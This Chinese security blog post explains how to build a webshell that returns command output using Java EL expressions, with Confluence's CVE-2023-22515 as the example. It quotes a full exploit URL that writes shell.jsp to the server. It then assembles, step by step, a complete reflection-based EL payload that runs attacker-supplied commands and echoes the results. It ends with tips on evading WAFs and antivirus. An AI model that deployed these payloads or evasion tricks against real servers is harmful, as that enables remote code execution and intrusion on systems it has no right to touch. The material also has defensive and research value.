WebShell-EL表达式-回显WebShell
2024-02-01 / 共计2158 字
执念不会像雨一样,说停就停。
Obsession doesn’t cease like the rain, stopping at a word.
PS:本文主要分享一种webshell的利用方式,只是借用confluence说明,并不仅局限于confluence。
在之前的 CVE-2023-22515-Confluence访问控制漏洞-任意管理员创建中分析了Confluence存在任意管理员创建,之后就一直想既然能够通过OGNL表达式进行创建管理员,那么是否能够进行RCE呢?
在思索的时候发现X1r0z师傅写到通过OGNL表达式调用
bootstrapStatusProvider.applicationConfig写入webshell进行RCE的利用,但由于XMLWriter 写入数据<>
字符会被过滤, X1r0z师傅通过利用 EL 表达式的标签 ${..}
进行绕过成功进行RCE。
该方法进行写入webshell存在以下限制:
- 权限限制,可能导致无法写入;
- webshell没有回显。
回显Webshell
在近期的项目中遇到一个需要使用EL表达式进行上传webshell的站点,就想到了X1r0z师傅通过利用 EL 表达式绕过过滤<>
字符写入webshell。在此基础上添砖加瓦实现回显Webshell。confluence写webshell的调用分析就不详细写在这了,感兴趣的可以去看X1r0z师傅的文章,我主要分享一些回显webshell的利用思路。
给出X1r0z师傅payload:
/server-info.action?bootstrapStatusProvider.applicationConfig.buildNumber=${Runtime.getRuntime().exec(param.cmd)}&bootstrapStatusProvider.applicationConfig.applicationHome=/Users/exp10it/Downloads/confluence-src/atlassian-confluence-8.5.1/confluence&bootstrapStatusProvider.applicationConfig.configurationFileName=shell.jsp&bootstrapStatusProvider.setupPersister.setupType=custom
在confluence写文件的时候,传入的<>会被转义,这时候就可以使用EL表达式进行利用,成功写入webshell,但是普通的${Runtime.getRuntime().exec(param.cmd)}执行命令并没有回显,这在不出网的环境中利用还是有限:
构造回显WebShell
EL表达式(Expression Language)是一种用于在Java服务器端技术中嵌套在页面中的表达式语言。它的主要目的是简化在JSP(JavaServer Pages)和JSF(JavaServer Faces)等技术中访问应用程序数据的语法。
EL 提供了一种轻量级的语法,允许在JSP页面中嵌入 JavaBean 属性、映射集合、执行算术和逻辑运算等,从而更方便地访问和展示数据。它使得在页面上引用和操作后端数据变得更加简单。 虽然在EL表达式中可以进行函数调用,但是确不能自行定义变量。 在EL表达式中,存在11个隐式对象,如下:
既然EL表达式能进行函数调用,那么只要找到EL表达式中能够保存调用结果的方法即可。通常在需要从后端java代码中获取数据,都会通过setAttribute来保存结果,再通过getAttribute获取setAttribute保存的数据,例如:
${pageContext.setAttribute("result", Runtime.getRuntime().exec("whoami"))}
//将Runtime.getRuntime().exec("whoami")的结果保存在result中。
${pageContext.getAttribute("result")}
//取出result中的值
既然能够保存执行结果,那么就有可以不断通过pageContext.setAttribute和pageContext.getAttribute到达定义变量并赋值的效果完成命令执行到回显的利用。
有了思路,先用java写一个简单的命令执行代码,再将其转换成对应的EL表达式:
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.util.stream.Collectors;
/**
* @Projectname: test
* @Filename: common
* @Author: T0ngMystic
* @Data:2024/1/29 10:43
* @Description: unauthorized
*/public class common {
public static void main(String[] args) throws IOException, InterruptedException {
try {
InputStream inputStream = Runtime.getRuntime().exec("ipconfig").getInputStream();
BufferedReader reader = new BufferedReader(new InputStreamReader(inputStream));
String allLines = reader.lines().collect(Collectors.joining());
System.out.println(allLines);
} catch (IOException e) {
e.printStackTrace();
}
}
}
在转换成EL表达式时,会发现InputStreamReader和BufferedReader没办法直接创建类进行调用,既然无法直接创建类,那么可以通过反射一个出来进行使用,从而得到EL表达式如下:
${pageContext.setAttribute("InputStreamReaderClass", Class.forName("java.io.InputStreamReader"))}
${pageContext.setAttribute("BufferedReaderClass", Class.forName("java.io.BufferedReader"))}
得到了InputStreamReader和BufferedReader类之后通过getConstructor获取想要的构造方法,再利用newInstance创建对象,从而得到EL表达式如下:(注:对应的值需要通过getAttribute获取,这里为了方便理解,直接使用了对应的名称)
${pageContext.setAttribute("InputStreamReaderConstructor", InputStreamReaderClass.getConstructor(Class.forName("java.io.InputStream")))}
${pageContext.setAttribute("InputStreamReaderInstance", InputStreamReaderConstructor.newInstance(inputStream))}
${pageContext.setAttribute("BufferedReaderConstructor", BufferedReaderClass.getConstructor(Class.forName("java.io.Reader")))}
${pageContext.setAttribute("BufferedReaderInstance", BufferedReaderConstructor.newInstance(InputStreamReaderInstance))}
到此完成了InputStream inputStream = Runtime.getRuntime().exec(param.cmd).getInputStream(); BufferedReader reader = new BufferedReader(new InputStreamReader(inputStream));
EL
表达式的转换。
在平常我们写java代码时,应该都有遇到输出这样形式的数据java.lang.ProcessImpl$ProcessPipeInputStream@54152f58
,这就需要将其转换成String类型再进行输出。接下来我们需要将结果转换成String类型保存再输出,不然直接输出只会是对于的类路径,我们就需要定义一个String类型对结果进行保存,同样使用反射的方式获取String类,得到如下EL表达式:
${pageContext.setAttribute("stringClass", Class.forName("java.lang.String"))}
${pageContext.setAttribute("stringConstructor",stringClass.getConstructor(Class.forName("java.lang.String")))}
${pageContext.setAttribute("stringRes", stringConstructor.newInstance(BufferedReaderInstance.lines().collect(Class.forName("java.util.stream.Collectors").getMethod("joining").invoke(null))))}
到此就完成了所有的EL表达式转换,成功获取到回显:
${pageContext.setAttribute("inputStream", Runtime.getRuntime().exec(param.cmd).getInputStream())}
${pageContext.setAttribute("InputStreamReaderClass", Class.forName("java.io.InputStreamReader"))}
${pageContext.setAttribute("BufferedReaderClass", Class.forName("java.io.BufferedReader"))}
${pageContext.setAttribute("InputStreamReaderConstructor", pageContext.getAttribute("InputStreamReaderClass").getConstructor(Class.forName("java.io.InputStream")))}
${pageContext.setAttribute("InputStreamReaderInstance", pageContext.getAttribute("InputStreamReaderConstructor").newInstance(pageContext.getAttribute("inputStream")))}
${pageContext.setAttribute("BufferedReaderConstructor", pageContext.getAttribute("BufferedReaderClass").getConstructor(Class.forName("java.io.Reader")))}
${pageContext.setAttribute("BufferedReaderInstance", pageContext.getAttribute("BufferedReaderConstructor").newInstance(pageContext.getAttribute("InputStreamReaderInstance")))}
${pageContext.setAttribute("stringClass", Class.forName("java.lang.String"))}
${pageContext.setAttribute("stringConstructor",pageContext.getAttribute("stringClass").getConstructor(Class.forName("java.lang.String")))}
${pageContext.setAttribute("stringRes", pageContext.getAttribute("stringConstructor").newInstance(BufferedReaderInstance.lines().collect(Class.forName("java.util.stream.Collectors").getMethod("joining").invoke(null))))}
${pageContext.getAttribute("stringRes")}
转换成一段EL表达式:
${pageContext.setAttribute("inputStream",Runtime.getRuntime().exec(param.cmd).getInputStream());pageContext.setAttribute("InputStreamReaderClass", Class.forName("java.io.InputStreamReader"));pageContext.setAttribute("BufferedReaderClass", Class.forName("java.io.BufferedReader"));
pageContext.setAttribute("InputStreamReaderConstructor", pageContext.getAttribute("InputStreamReaderClass").getConstructor(Class.forName("java.io.InputStream")));pageContext.setAttribute("InputStreamReaderInstance", pageContext.getAttribute("InputStreamReaderConstructor").newInstance(inputStream));pageContext.setAttribute("BufferedReaderConstructor", pageContext.getAttribute("BufferedReaderClass").getConstructor(Class.forName("java.io.Reader")));pageContext.setAttribute("BufferedReaderInstance", pageContext.getAttribute("BufferedReaderConstructor").newInstance(pageContext.getAttribute("InputStreamReaderInstance")));pageContext.setAttribute("stringClass", Class.forName("java.lang.String"));pageContext.setAttribute("stringConstructor",pageContext.getAttribute("stringClass").getConstructor(Class.forName("java.lang.String")));pageContext.setAttribute("stringRes", pageContext.getAttribute("stringConstructor").newInstance(pageContext.getAttribute("BufferedReaderInstance").lines().collect(Class.forName("java.util.stream.Collectors").getMethod("joining").invoke(null))));pageContext.getAttribute("stringRes")}
至此就打通了命令执行到回显。
一些想法
- jsp支持unicode编码,可以将EL表达式
${}
中的内容通过unicode编码后再进行传入,能够绕过一些waf; - EL表达式+反射调用,几乎可以执行任何的代码,不仅仅局限于可回显的WebShell;
- 再加上传参,可以将一些被杀软,waf定义为危险的字符串通过传参的方式传入,从而绕过。
文笔垃圾,技术欠缺,欢迎各位师傅请斧正,非常感谢!
如果文章对您有帮助
欢迎关注公众号!
感谢您的支持!